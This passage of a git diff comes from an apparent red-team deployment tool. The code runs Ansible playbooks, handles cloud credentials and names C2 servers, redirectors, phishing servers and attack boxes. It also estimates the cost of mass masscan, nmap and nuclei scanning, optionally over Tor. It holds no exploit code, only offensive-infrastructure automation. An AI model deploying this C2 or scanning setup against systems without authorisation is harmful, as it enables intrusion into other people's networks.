stderr=subprocess.DEVNULL, + ).strip() + if token: + os.environ['LINODE_TOKEN'] = token + config['linode_token'] = token + except Exception as e: + logging.warning(f"Failed to load Linode token from Infisical: {e}") + + elif provider == "flokinet": + if config.get('flokinet_api_key'): + os.environ['FLOKINET_API_KEY'] = config['flokinet_api_key'] + + +def execute_playbook(playbook, config): + """ + Execute an Ansible playbook with the provided configuration. + + Args: + playbook: Path to the Ansible playbook + config: Deployment configuration dictionary + + Returns: + bool: True if playbook executed successfully, False otherwise + """ + import tempfile + secret_vars_file = None + try: + # Build the ansible-playbook command + cmd = [ + 'ansible-playbook', + playbook, + '--extra-vars', create_extra_vars(config) + ] + + # Webrunner runs many nodes in parallel โ€” increase fork count + if 'webrunner' in playbook: + cmd += ['-f', '50'] + + # Write sensitive vars to a temp file (0o600) so they reach Ansible as + # variables without appearing in process listings or the main extra-vars JSON. + # Read from environment (set by set_provider_environment) so this works even + # when config was passed as a copy ({**config}) that didn't capture the token. + secret_vars = {} + if os.environ.get('LINODE_TOKEN'): + secret_vars['linode_token'] = os.environ['LINODE_TOKEN'] + if os.environ.get('AWS_ACCESS_KEY_ID'): + secret_vars['aws_access_key'] = os.environ['AWS_ACCESS_KEY_ID'] + if os.environ.get('AWS_SECRET_ACCESS_KEY'): + secret_vars['aws_secret_key'] = os.environ['AWS_SECRET_ACCESS_KEY'] + if os.environ.get('FLOKINET_API_KEY'): + secret_vars['flokinet_api_key'] = os.environ['FLOKINET_API_KEY'] + # Also pick up any remaining secret keys from config dict (e.g. smtp_auth_pass) + for k, v in config.items(): + if v is not None and k not in secret_vars and any(s in k.lower() for s in _SECRET_KEYS): + secret_vars[k] = v + if secret_vars: + fd, secret_vars_file = tempfile.mkstemp(suffix='.json', prefix='ansible_secret_') + os.chmod(secret_vars_file, 0o600) + with os.fdopen(fd, 'w') as f: + json.dump(secret_vars, f) + cmd += ['--extra-vars', f'@{secret_vars_file}'] + + # Add verbosity if debug mode is enabled + if config.get('debug'): + cmd.append('-vvv') + + logging.info(f"Executing: {' '.join(cmd[:3])} ...") + + # Get log file path for output + log_file = f"logs/deployment_{config['deployment_id']}.log" + + # Execute the playbook โ€” log file restricted to owner-only (contains Ansible output) + log_fd = os.open(log_file, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600) + with open(log_fd, 'a') as log_output: + # Write command to log + log_output.write(f"\n{'='*60}\n") + log_output.write(f"Executing playbook: {playbook}\n") + log_output.write(f"{'='*60}\n\n") + log_output.flush() + + process = subprocess.Popen( + cmd, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + cwd=os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + ) + + # Stream output to both console and log file + for line in process.stdout: + # Write to log file + log_output.write(line) + log_output.flush() + + # Print select lines to console for user feedback + if should_print_line(line): + print(line.rstrip()) + + process.wait() + + if process.returncode == 0: + logging.info("Playbook executed successfully") + save_deployment_info(config) + return True + else: + logging.error(f"Playbook failed with return code {process.returncode}") + print(f"\n{COLORS['RED']}Deployment failed. Check logs for details: {log_file}{COLORS['RESET']}") + return False + + except FileNotFoundError: + logging.error("ansible-playbook command not found. Is Ansible installed?") + print(f"{COLORS['RED']}Error: ansible-playbook not found. Please install Ansible.{COLORS['RESET']}") + return False + except Exception as e: + logging.error(f"Error executing playbook: {e}") + print(f"{COLORS['RED']}Error executing playbook: {e}{COLORS['RESET']}") + return False + finally: + if secret_vars_file and os.path.exists(secret_vars_file): + os.unlink(secret_vars_file) + + +def should_print_line(line): + """ + Determine if a line should be printed to console. + Filters out verbose Ansible output to show only key information. + + Args: + line: Output line from Ansible + + Returns: + bool: True if line should be printed + """ + # Always show task names and important messages + important_patterns = [ + 'TASK [', + 'PLAY [', + 'ok:', + 'changed:', + 'failed:', + 'fatal:', + 'skipping:', + 'PLAY RECAP', + '=> {', + 'msg:', + 'IP Address:', + 'Instance ID:', + ] + + for pattern in important_patterns: + if pattern in line: + return True + + return False + + +def create_extra_vars(config): + """ + Create JSON string of extra variables for Ansible. + + Args: + config: Deployment configuration dictionary + + Returns: + str: JSON string of variables + """ + # Credentials are passed via environment variables (set_provider_environment). + # Strip them here so they never appear in --extra-vars or process listings. + extra_vars = {} + + for key, value in config.items(): + if value is None: + continue + if any(secret in key.lower() for secret in _SECRET_KEYS): + continue + if isinstance(value, bool): + extra_vars[key] = value + elif isinstance(value, (str, int, float, list, dict)): + extra_vars[key] = value + + return json.dumps(extra_vars) + + +def save_deployment_info(config): + """ + Save deployment information to a file for later reference/cleanup. + + Args: + config: Deployment configuration dictionary + """ + try: + deployment_id = config.get('deployment_id') + info_file = f"logs/deployment_info_{deployment_id}.txt" + + with open(info_file, 'w') as f: + f.write(f"Deployment Information\n") + f.write(f"{'='*50}\n") + f.write(f"Deployment ID: {deployment_id}\n") + f.write(f"Provider: {config.get('provider')}\n") + f.write(f"Deployment Type: {config.get('deployment_type', 'unknown')}\n") + f.write(f"\n") + f.write(f"Configuration:\n") + f.write(f"{'-'*30}\n") + + # Write key configuration items + keys_to_save = [ + 'provider', 'deployment_id', 'deployment_type', + 'attack_box_name', 'c2_name', 'redirector_name', 'tracker_name', + 'chat_server_name', + 'domain', 'c2_subdomain', 'redirector_subdomain', + 'c2_framework', 'redirector_type', + 'linode_region', 'aws_region', + 'setup_vpn', 'setup_tor', + 'ssh_key_path', + 'matrix_admin_user', 'enable_bot_support' + ] + + for key in keys_to_save: + if key in config and config[key] is not None: + # Don't save sensitive data + if 'password' in key.lower() or 'token' in key.lower() or 'secret' in key.lower(): + continue + f.write(f"{key}: {config[key]}\n") + + f.write(f"\n") + f.write(f"Access Information:\n") + f.write(f"{'-'*30}\n") + f.write(f"(Instance IPs will be displayed in Ansible output above)\n") + + logging.info(f"Deployment info saved to: {info_file}") + + except Exception as e: + logging.warning(f"Failed to save deployment info: {e}") + + +if __name__ == "__main__": + print("Deployment engine loaded") diff --git a/utils/flokinet_utils.py b/utils/flokinet_utils.py new file mode 100644 index 0000000..5e56cb0 --- /dev/null +++ b/utils/flokinet_utils.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +""" +FlokiNET provider utilities for C2ingRed deployment system +""" + +import logging +from .common import COLORS, load_vars_file, validate_ip_address + +def get_flokinet_credentials(provider_vars=None): + """Get FlokiNET server IPs from user or vars file""" + if not provider_vars: + provider_vars = load_vars_file('flokinet') + + default_redirector_ip = provider_vars.get('redirector_ip', '') + default_c2_ip = provider_vars.get('c2_ip', '') + + print(f"\n{COLORS['BLUE']}FlokiNET Configuration{COLORS['RESET']}") + print(f"{COLORS['YELLOW']}Note: FlokiNET requires pre-provisioned servers{COLORS['RESET']}") + + redirector_ip = input(f"FlokiNET Redirector IP Address [default: {default_redirector_ip}]: ") or default_redirector_ip + c2_ip = input(f"FlokiNET C2 Server IP Address [default: {default_c2_ip}]: ") or default_c2_ip + + # Validate IP addresses + if redirector_ip and not validate_ip_address(redirector_ip): + print(f"{COLORS['RED']}Invalid redirector IP address{COLORS['RESET']}") + return None + + if c2_ip and not validate_ip_address(c2_ip): + print(f"{COLORS['RED']}Invalid C2 server IP address{COLORS['RESET']}") + return None + + return { + 'flokinet_redirector_ip': redirector_ip, + 'flokinet_c2_ip': c2_ip + } + +def gather_flokinet_config(): + """Gather all FlokiNET-specific configuration""" + provider_vars = load_vars_file('flokinet') + config = {} + + # Get server IPs + flokinet_ips = get_flokinet_credentials(provider_vars) + if not flokinet_ips: + return None + config.update(flokinet_ips) + + # FlokiNET-specific settings + config['ssh_user'] = 'root' # FlokiNET typically uses root + + return config diff --git a/utils/linode_utils.py b/utils/linode_utils.py new file mode 100644 index 0000000..72a3141 --- /dev/null +++ b/utils/linode_utils.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +""" +Linode provider utilities for C2ingRed deployment system +""" + +import os +import logging +import subprocess +from .common import COLORS, load_vars_file + +def get_linode_credentials(provider_vars=None): + """Get Linode API token โ€” Infisical first, vars.yaml fallback, then prompt.""" + default_token = '' + + try: + default_token = subprocess.check_output( + [os.path.expanduser('~/.local/bin/creds'), 'get', 'LINODE_TOKEN', 'homelab'], + text=True, stderr=subprocess.DEVNULL, + ).strip() + except Exception: + pass + + if not default_token: + if not provider_vars: + provider_vars = load_vars_file('linode') + default_token = provider_vars.get('linode_token', '') + + print(f"\n{COLORS['BLUE']}Linode Configuration{COLORS['RESET']}") + token = input(f"Linode API Token [{'*****' if default_token else 'required'}]: ") or default_token + + if not token: + print(f"{COLORS['RED']}Linode API token is required{COLORS['RESET']}") + return None + + return {'linode_token': token} + +def select_linode_regions(provider_vars=None) -> list[str]: + """Return region list โ€” single entry if user specified one, all regions if blank (random per-node).""" + if not provider_vars: + provider_vars = load_vars_file('linode') + + regions = provider_vars.get('region_choices', ['us-east']) + + print(f"\nAvailable Linode regions:") + for i, region in enumerate(regions, 1): + print(f" {i:2}. {region}") + + region_input = input("\nSelect region (number or leave blank for random per-node): ").strip() + + if not region_input: + return regions + + try: + idx = int(region_input) + if 1 <= idx <= len(regions): + return [regions[idx - 1]] + except ValueError: + pass + + print(f"{COLORS['RED']}Invalid input, using random per-node regions{COLORS['RESET']}") + return regions + +def gather_linode_config(): + """Gather all Linode-specific configuration""" + provider_vars = load_vars_file('linode') + config = {} + + linode_creds = get_linode_credentials(provider_vars) + if not linode_creds: + return None + config.update(linode_creds) + + linode_regions = select_linode_regions(provider_vars) + config['linode_regions'] = linode_regions + config['linode_region'] = linode_regions[0] + + config['linode_instance_type'] = provider_vars.get('linode_instance_type', 'g6-nanode-1') + config['linode_image'] = provider_vars.get('linode_image', 'linode/debian12') + + return config diff --git a/utils/name_generator.py b/utils/name_generator.py new file mode 100644 index 0000000..25bc537 --- /dev/null +++ b/utils/name_generator.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +""" +Name generation utility for c2itall deployments +Generates verb-animal names similar to FourEyes with shared deployment IDs +""" + +import random +import os + +def load_word_list(filename): + """Load words from a text file, one word per line""" + try: + # Check if we have FourEyes word lists + foureyes_path = "/opt/redteam/FourEyes" + if os.path.exists(foureyes_path): + file_path = os.path.join(foureyes_path, filename) + if os.path.exists(file_path): + with open(file_path, 'r') as f: + words = [line.strip().lower() for line in f if line.strip()] + return [word for word in words if word] # Remove empty strings + except Exception: + pass + + # Fallback word lists if FourEyes not available + if 'verbs' in filename: + return [ + "blazing", "soaring", "charging", "prowling", "hunting", "stalking", + "striking", "rushing", "dashing", "racing", "flying", "diving", + "leaping", "climbing", "sliding", "spinning", "rolling", "sneaking", + "roaming", "wandering", "running", "jumping", "swimming", "crawling", + "fighting", "defending", "attacking", "scanning", "searching", "finding" + ] + else: # animals + return [ + "wolf", "eagle", "tiger", "falcon", "bear", "lion", "shark", "hawk", + "panther", "cobra", "viper", "rhino", "bull", "fox", "raven", "crow", + "spider", "scorpion", "mantis", "dragon", "phoenix", "griffin", + "badger", "wolverine", "lynx", "jaguar", "cheetah", "leopard" + ] + +def _generate_verb_animal(): + """Generate a verb-animal combination""" + verbs = load_word_list('verbs.txt') + animals = load_word_list('animals.txt') + + verb = random.choice(verbs) + animal = random.choice(animals) + return f"{verb}{animal}" + +def generate_deployment_id(): + """Generate a deployment ID using verb-animal combination""" + return _generate_verb_animal() + +def generate_attack_box_name(deployment_id): + """Generate attack box name with a- prefix using shared deployment ID""" + return f"a-{deployment_id}" + +def generate_redirector_name(deployment_id): + """Generate redirector name with r- prefix using shared deployment ID""" + return f"r-{deployment_id}" + +def generate_c2_name(deployment_id): + """Generate C2 server name with s- prefix using shared deployment ID""" + return f"s-{deployment_id}" + +def generate_phishing_name(deployment_id): + """Generate phishing server name with p- prefix using shared deployment ID""" + return f"p-{deployment_id}" + +def generate_tracker_name(deployment_id): + """Generate tracker name with t- prefix using shared deployment ID""" + return f"t-{deployment_id}" + +if __name__ == "__main__": + # Test the name generation + deployment_id = generate_deployment_id() + print(f"Testing shared deployment ID: {deployment_id}") + print(f"Attack Box: {generate_attack_box_name(deployment_id)}") + print(f"Redirector: {generate_redirector_name(deployment_id)}") + print(f"C2 Server: {generate_c2_name(deployment_id)}") + print(f"Phishing: {generate_phishing_name(deployment_id)}") + print(f"Tracker: {generate_tracker_name(deployment_id)}") diff --git a/utils/naming_utils.py b/utils/naming_utils.py new file mode 100644 index 0000000..caaeffb --- /dev/null +++ b/utils/naming_utils.py @@ -0,0 +1,246 @@ +#!/usr/bin/env python3 +""" +Common naming utilities for C2itall deployments +Provides consistent naming options across all deployment types +""" + +import os +import glob +from utils.common import COLORS + +def get_existing_deployments(): + """Get list of existing deployments from deployment info files""" + try: + info_files = glob.glob("logs/deployment_info_*.txt") + deployments = [] + + for info_file in info_files: + try: + deployment_info = {} + with open(info_file, 'r') as f: + lines = f.readlines() + + for line in lines: + line = line.strip() + if ": " in line and not line.startswith("-"): + parts = line.split(": ", 1) + if len(parts) == 2: + key, value = parts + deployment_info[key] = value + + if deployment_info.get('deployment_id'): + deployments.append(deployment_info) + except Exception as e: + continue # Skip problematic files + + return deployments + except Exception as e: + return [] + +def select_deployment_for_naming(exclude_types=None, current_deployment_id=None): + """ + Allow user to select an existing deployment to base naming on + + Args: + exclude_types: List of deployment types to exclude (e.g., ['attack_box']) + current_deployment_id: Current deployment ID to exclude from list + """ + deployments = get_existing_deployments() + + if not deployments: + print(f"{COLORS['YELLOW']}No existing deployments found{COLORS['RESET']}") + return None + + print(f"\n{COLORS['CYAN']}Existing Deployments:{COLORS['RESET']}") + print(f"{COLORS['CYAN']}==================={COLORS['RESET']}") + + # Filter deployments based on criteria + filtered_deployments = [] + for deployment in deployments: + deployment_id = deployment.get('deployment_id', 'unknown') + + # Skip current deployment + if current_deployment_id and deployment_id == current_deployment_id: + continue + + # Skip excluded types + deployment_type = deployment.get('deployment_type', 'unknown') + if exclude_types and deployment_type in exclude_types: + continue + + # Check if this is an attack box deployment (legacy check) + is_attack_box = ( + deployment.get('deployment_type') == 'attack_box' or + deployment.get('attack_box_deployment') == 'True' or + deployment.get('attack_box_name') + ) + + if exclude_types and 'attack_box' in exclude_types and is_attack_box: + continue + + filtered_deployments.append(deployment) + + if not filtered_deployments: + print(f"{COLORS['YELLOW']}No suitable deployments found for naming{COLORS['RESET']}") + return None + + # Display available deployments + for i, deployment in enumerate(filtered_deployments, 1): + deployment_id = deployment.get('deployment_id', 'unknown') + provider = deployment.get('provider', 'unknown') + domain = deployment.get('domain', 'N/A') + deployment_type = deployment.get('deployment_type', 'unknown') + + print(f"{i}. {deployment_id}") + print(f" Type: {deployment_type}") + print(f" Provider: {provider}") + print(f" Domain: {domain}") + + # Show instance names if available + instances = [] + if deployment.get('redirector_name'): + instances.append(f"Redirector: {deployment.get('redirector_name')}") + if deployment.get('c2_name'): + instances.append(f"C2: {deployment.get('c2_name')}") + if deployment.get('tracker_name'): + instances.append(f"Tracker: {deployment.get('tracker_name')}") + if deployment.get('attack_box_name'): + instances.append(f"Attack Box: {deployment.get('attack_box_name')}") + + if instances: + print(f" Instances: {', '.join(instances)}") + print() + + # Get user selection + while True: + try: + choice = input(f"Select deployment (1-{len(filtered_deployments)}) or 'c' to cancel: ").strip() + + if choice.lower() == 'c': + return None + + choice_num = int(choice) + if 1 <= choice_num <= len(filtered_deployments): + selected = filtered_deployments[choice_num - 1] + return selected.get('deployment_id') + else: + print(f"{COLORS['RED']}Invalid choice. Please try again.{COLORS['RESET']}") + except ValueError: + print(f"{COLORS['RED']}Invalid input. Please enter a number or 'c'.{COLORS['RESET']}") + +def get_deployment_name_with_options(deployment_type, deployment_id, prefix="", existing_name=None): + """ + Get deployment name with multiple naming options + + Args: + deployment_type: Type of deployment (c2, redirector, tracker, attack_box, etc.) + deployment_id: Current deployment ID + prefix: Prefix for the name (e.g., 'r-', 'c-', 'a-', etc.) + existing_name: Existing name if updating + + Returns: + Chosen name for the deployment + """ + + print(f"\n{COLORS['BLUE']}{deployment_type.title()} Naming Options:{COLORS['RESET']}") + print(f"1) Auto-generate name ({prefix}{deployment_id})") + print(f"2) Name after existing deployment") + print(f"3) Custom name") + + if existing_name: + print(f"4) Keep current name ({existing_name})") + default_choice = "4" + else: + default_choice = "1" + + naming_choice = input(f"Select naming option [{default_choice}]: ").strip() or default_choice + + if naming_choice == "1": + # Auto-generate using deployment ID + chosen_name = f"{prefix}{deployment_id}" + print(f"Using auto-generated name: {COLORS['CYAN']}{chosen_name}{COLORS['RESET']}") + + elif naming_choice == "2": + # Name after existing deployment + # Exclude attack boxes when naming other types, but allow other types when naming attack boxes + exclude_types = ['attack_box'] if deployment_type != 'attack_box' else [] + selected_deployment_id = select_deployment_for_naming( + exclude_types=exclude_types, + current_deployment_id=deployment_id + ) + + if selected_deployment_id: + chosen_name = f"{prefix}{selected_deployment_id}" + print(f"{deployment_type.title()} will be named: {COLORS['CYAN']}{chosen_name}{COLORS['RESET']}") + print(f"This associates it with deployment: {COLORS['YELLOW']}{selected_deployment_id}{COLORS['RESET']}") + else: + print(f"{COLORS['YELLOW']}No deployment selected, using auto-generated name{COLORS['RESET']}") + chosen_name = f"{prefix}{deployment_id}" + + elif naming_choice == "3": + # Custom name + while True: + custom_name = input(f"Enter custom {deployment_type} name: ").strip() + if custom_name: + # Ensure it starts with the correct prefix for consistency + if prefix and not custom_name.startswith(prefix): + chosen_name = f"{prefix}{custom_name}" + print(f"Prefixed with '{prefix}': {COLORS['CYAN']}{chosen_name}{COLORS['RESET']}") + else: + chosen_name = custom_name + break + else: + print(f"{COLORS['RED']}Name cannot be empty. Please try again.{COLORS['RESET']}") + + elif naming_choice == "4" and existing_name: + # Keep existing name + chosen_name = existing_name + print(f"Keeping current name: {COLORS['CYAN']}{chosen_name}{COLORS['RESET']}") + + else: + # Default fallback + print(f"{COLORS['YELLOW']}Invalid choice, using auto-generated name{COLORS['RESET']}") + chosen_name = f"{prefix}{deployment_id}" + + return chosen_name + +def show_naming_relationship(name, deployment_id, deployment_type): + """Show the relationship between the chosen name and deployment""" + if not name: + return + + # Determine prefix based on deployment type + prefix_map = { + 'redirector': 'r-', + 'c2': 's-', # s for server + 'tracker': 't-', + 'attack_box': 'a-', + 'payload': 'p-', + 'webrunner': 'wr-', + } + + expected_prefix = prefix_map.get(deployment_type, '') + + if expected_prefix and name.startswith(expected_prefix): + target_deployment = name[len(expected_prefix):] # Remove prefix + if target_deployment != deployment_id: + return { + 'target_deployment': target_deployment, + 'relationship_text': f"Named after deployment: {target_deployment}", + 'purpose_text': f"This {deployment_type} supports the {target_deployment} engagement" + } + + return None + +def get_deployment_type_prefix(deployment_type): + """Get the standard prefix for a deployment type""" + prefix_map = { + 'redirector': 'r-', + 'c2': 's-', # s for server + 'tracker': 't-', + 'attack_box': 'a-', + 'payload': 'p-', + 'phishing': 'p-', + 'webrunner': 'wr-', + } + return prefix_map.get(deployment_type, '') diff --git a/utils/provider_rates.py b/utils/provider_rates.py new file mode 100644 index 0000000..09ba247 --- /dev/null +++ b/utils/provider_rates.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +import math + +INSTANCE_RATES = { + 'linode': { + 'g6-nanode-1': 0.0075, + 'g6-standard-2': 0.018, + 'g6-standard-4': 0.036, + 'g6-standard-8': 0.072, + }, + 'aws': { + 't3.micro': 0.0104, + 't3.small': 0.0208, + 't3.medium': 0.0416, + 't3.large': 0.0832, + }, + 'flokinet': { + 'vps-1': 0.0083, + 'vps-2': 0.0139, + 'vps-4': 0.0278, + }, +} + +SCAN_MODES = { + 'geo-scout': {'rate': 3000, 'desc': 'masscan + nmap + probe fingerprinting'}, + 'masscan-only': {'rate': 10000, 'desc': 'masscan port discovery only'}, + 'nmap-only': {'rate': 500, 'desc': 'nmap full fingerprint only'}, + 'masscan+nmap': {'rate': 5000, 'desc': 'masscan + nmap (no probes)'}, + 'masscan+nuclei': {'rate': 5000, 'desc': 'masscan discovery + nuclei CVE template'}, +} + +PRESETS = { + 'sprint': {'chunk_size': 500_000, 'label': 'Sprint', 'desc': '~500K IPs/node'}, + 'balanced': {'chunk_size': 2_000_000, 'label': 'Balanced', 'desc': '~2M IPs/node (recommended)'}, + 'economy': {'chunk_size': 5_000_000, 'label': 'Economy', 'desc': '~5M IPs/node'}, +} + +DEFAULT_INSTANCE = { + 'linode': 'g6-nanode-1', + 'aws': 't3.small', + 'flokinet': 'vps-2', +} + +BILLING_MINIMUM = { + 'linode': 1.0, + 'aws': 0.017, # billed per second, ~1 min minimum in practice + 'flokinet': 1.0, +} + + +# โ”€โ”€ Empirical timing constants โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ +# Per-host nmap time by timing template (seconds, -sV --version-intensity 5) +NMAP_TIME_BY_TIMING = { + 1: 60.0, # T1 sneaky + 2: 30.0, # T2 polite + 3: 15.0, # T3 normal + 4: 10.0, # T4 aggressive (baseline) +} + +# Average per-target time for typical nuclei CVE template (1โ€“3 HTTP requests). +# Heavy templates with many requests/matchers will run 2โ€“5ร— longer. +NUCLEI_TIME_PER_TARGET_SEC = 5.0 + +# TCP banner grab time (geo-scout probe phase) +PROBE_TIME_PER_HOST_SEC = 3.0 + +# Default fraction of scanned IPs with open ports on common ports. +# Real-world range: 0.5%โ€“5% depending on ports & geography. +MASSCAN_HIT_RATE = 0.01 + +# Defaults โ€” must match WEBRUNNER tuning defaults +_NMAP_WORKERS = 10 +_NUCLEI_RATE = 150 +_NUCLEI_CONCURRENCY = 25 + +# Tor latency multiplier โ€” applies ONLY to TCP probe phases (nmap/nuclei/probe). +# Masscan uses raw sockets and bypasses proxychains entirely โ€” Tor cannot +# protect masscan SYN packets. The cloud node's IP is exposed to every +# masscan target regardless of this setting. +TOR_PHASE_MULTIPLIER = 5.0 + +# Per-node provisioning overhead (apt install, optional nuclei download). +# Nodes provision in parallel so this is roughly constant. +PROVISION_OVERHEAD_HOURS = 5 / 60 + + +def estimate_scan_hours( + ip_count: int, + n_ports: int, + rate: int, + scan_mode: str = 'masscan-only', + *, + nmap_timing: int = 4, + nmap_workers: int = _NMAP_WORKERS, + nuclei_rate: int = _NUCLEI_RATE, + nuclei_concurrency: int = _NUCLEI_CONCURRENCY, + hit_rate: float = MASSCAN_HIT_RATE, + use_tor: bool = False, +) -> float: + """Phase-decomposed scan time estimate. Returns hours per node.""" + if rate <= 0: + return PROVISION_OVERHEAD_HOURS + + nmap_workers = max(nmap_workers, 1) + seconds = 0.0 + + # masscan phase: raw sockets, no Tor penalty (Tor cannot proxy raw sockets) + if scan_mode in ('masscan-only', 'masscan+nmap', 'geo-scout', 'masscan+nuclei'): + seconds += ip_count * n_ports / rate + + # nmap-only phase: every IP gets full -sV fingerprint + if scan_mode == 'nmap-only': + per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0) + if use_tor: + per_host *= TOR_PHASE_MULTIPLIER + seconds += (ip_count * per_host) / nmap_workers + + # nmap fingerprint phase: only on masscan hits + if scan_mode in ('masscan+nmap', 'geo-scout'): + nmap_hosts = ip_count * hit_rate + per_host = NMAP_TIME_BY_TIMING.get(nmap_timing, 10.0) + if use_tor: + per_host *= TOR_PHASE_MULTIPLIER + seconds += (nmap_hosts * per_host) / nmap_workers + + # probe banner phase: geo-scout only, on masscan hits + if scan_mode == 'geo-scout': + probe_hosts = ip_count * hit_rate + per_probe = PROBE_TIME_PER_HOST_SEC + if use_tor: + per_probe *= TOR_PHASE_MULTIPLIER + seconds += (probe_hosts * per_probe) / nmap_workers + + # nuclei phase: only on masscan-discovered ip:port pairs + if scan_mode == 'masscan+nuclei': + nuclei_targets = ip_count * hit_rate + per_target = NUCLEI_TIME_PER_TARGET_SEC + if use_tor: + per_target *= TOR_PHASE_MULTIPLIER + rate_throughput = float(nuclei_rate) + parallel_throughput = nuclei_concurrency / per_target + effective_rps = max(min(rate_throughput, parallel_throughput), 1.0) + seconds += nuclei_targets / effective_rps + + return seconds / 3600 + PROVISION_OVERHEAD_HOURS + + +def node_cost(provider: str, instance_type: str, scan_hours: float) -> float: + rate = INSTANCE_RATES.get(provider, {}).get(instance_type, 0.018) + billed_hours = max(scan_hours, BILLING_MINIMUM.get(provider, 1.0)) + return rate * billed_hours + + +def fmt_hours(h: float) -> str: + total_mins = int(h * 60) + hrs, mins = divmod(total_mins, 60) + return f"{hrs}h {mins:02d}m" if hrs else f"{mins}m" + + +def fmt_ip_count(n: int) -> str: + if n >= 1_000_000: + return f"{n / 1_000_000:.1f}M" + if n >= 1_000: + return f"{n / 1_000:.0f}K" + return str(n) + + +def build_estimate_table( + total_ips: int, + n_ports: int, + providers: list[str], + scan_mode: str, + use_tor: bool = False, + tuning: dict | None = None, +) -> list[dict]: + tuning = tuning or {} + masscan_rate = int(tuning.get('masscan_rate') or SCAN_MODES.get(scan_mode, {'rate': 3000})['rate']) + + kwargs = dict( + nmap_timing=int(tuning.get('nmap_timing', 4)), + nmap_workers=int(tuning.get('nmap_workers', _NMAP_WORKERS)), + nuclei_rate=int(tuning.get('nuclei_rate', _NUCLEI_RATE)), + nuclei_concurrency=int(tuning.get('nuclei_concurrency', _NUCLEI_CONCURRENCY)), + hit_rate=float(tuning.get('hit_rate', MASSCAN_HIT_RATE)), + use_tor=use_tor, + ) + + rows = [] + for preset_key, preset in PRESETS.items(): + n_chunks = max(1, math.ceil(total_ips / preset['chunk_size'])) + typical_ips = min(preset['chunk_size'], total_ips) + hours_per_node = estimate_scan_hours(typical_ips, n_ports, masscan_rate, scan_mode, **kwargs) + total_cost = 0.0 + for i in range(n_chunks): + chunk_ips = min(preset['chunk_size'], total_ips - i * preset['chunk_size']) + chunk_hours = estimate_scan_hours(chunk_ips, n_ports, masscan_rate, scan_mode, **kwargs) + provider = providers[i % len(providers)] + instance = DEFAULT_INSTANCE.get(provider, 'g6-standard-2') + total_cost += node_cost(provider, instance, chunk_hours) + rows.append({ + 'preset': preset_key, + 'label': preset['label'], + 'desc': preset['desc'], + 'n_nodes': n_chunks, + 'hours_per_node': hours_per_node, + 'total_cost_usd': total_cost, + }) + return rows diff --git a/utils/provider_utils.py b/utils/provider_utils.py new file mode 100644 index 0000000..ea56c68 --- /dev/null +++ b/utils/provider_utils.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +""" +Provider selection and configuration utilities +""" + +from .common import COLORS, PROVIDERS +from .aws_utils import gather_aws_config +from .linode_utils import gather_linode_config +from .flokinet_utils import gather_flokinet_config + +def select_provider(): + """Let the user select a cloud provider""" + print(f"\n{COLORS['BLUE']}Available cloud providers:{COLORS['RESET']}") + for i, provider in enumerate(PROVIDERS, 1): + print(f" {i}. {provider.capitalize()}") + + while True: + try: + provider_choice = input(f"\nSelect a provider (1-{len(PROVIDERS)} or 99 to cancel): ") + if provider_choice == "99": + return None + + provider_choice = int(provider_choice) + if 1 <= provider_choice <= len(PROVIDERS): + return PROVIDERS[provider_choice - 1] + else: + print(f"{COLORS['RED']}Please enter a number between 1 and {len(PROVIDERS)}{COLORS['RESET']}") + except ValueError: + print(f"{COLORS['RED']}Please enter a valid number{COLORS['RESET']}") + +def gather_provider_config(provider): + """Gather configuration for the specified provider""" + if provider == "aws": + return gather_aws_config() + elif provider == "linode": + return gather_linode_config() + elif provider == "flokinet": + return gather_flokinet_config() + else: + print(f"{COLORS['RED']}Unknown provider: {provider}{COLORS['RESET']}") + return None diff --git a/utils/ssh_utils.py b/utils/ssh_utils.py new file mode 100644 index 0000000..fadb8c3 --- /dev/null +++ b/utils/ssh_utils.py @@ -0,0 +1,208 @@ +#!/usr/bin/env python3 +""" +SSH utilities for C2ingRed deployment system +""" + +import os +import subprocess +import logging +import re +import glob +from .common import COLORS, generate_random_string + +def generate_ssh_key(deployment_id=None): + """Generate an SSH key for deployment with proper tracking for cleanup""" + # Use deployment_id if provided, otherwise generate random suffix + if not deployment_id: + deployment_id = generate_random_string(6) + + ssh_key_path = os.path.expanduser(f"~/.ssh/c2deploy_{deployment_id}") + ssh_key_pub_path = f"{ssh_key_path}.pub" + + # Check if key already exists + if os.path.exists(ssh_key_path): + logging.info(f"SSH key already exists at {ssh_key_path}") + return ssh_key_path + + try: + # Generate the SSH key + subprocess.run([ + "ssh-keygen", "-t", "rsa", "-b", "4096", + "-f", ssh_key_path, "-q", "-N", "" + ], check=True) + + # Set proper permissions + os.chmod(ssh_key_path, 0o600) + + # Track generated keys for cleanup + if not hasattr(generate_ssh_key, 'generated_keys'): + generate_ssh_key.generated_keys = [] + generate_ssh_key.generated_keys.append(ssh_key_path) + + logging.info(f"Generated SSH key: {ssh_key_path}") + return ssh_key_path + + except subprocess.CalledProcessError as e: + logging.error(f"Failed to generate SSH key: {e}") + return None + +def get_ssh_public_key(private_key_path): + """Get the public key content from a private key file""" + public_key_path = f"{private_key_path}.pub" + + if not os.path.exists(public_key_path): + logging.error(f"Public key file not found: {public_key_path}") + return None + + try: + with open(public_key_path, 'r') as f: + return f.read().strip() + except Exception as e: + logging.error(f"Failed to read public key: {e}") + return None + +def extract_attack_box_ip_from_logs(config): + """Extract attack box IP from deployment logs or Ansible output""" + deployment_id = config.get('deployment_id', 'unknown') + + # Check deployment log file first + log_files_to_check = [ + f"logs/deployment_{deployment_id}.log", + # Also check archived logs + f"logs/archive/deployment_{deployment_id}.log" + ] + + # Check for timestamped archived logs + archive_pattern = f"logs/archive/*_deployment_{deployment_id}.log" + archived_logs = glob.glob(archive_pattern) + if archived_logs: + # Get the most recent archived log + log_files_to_check.append(max(archived_logs, key=os.path.getmtime)) + + for log_file in 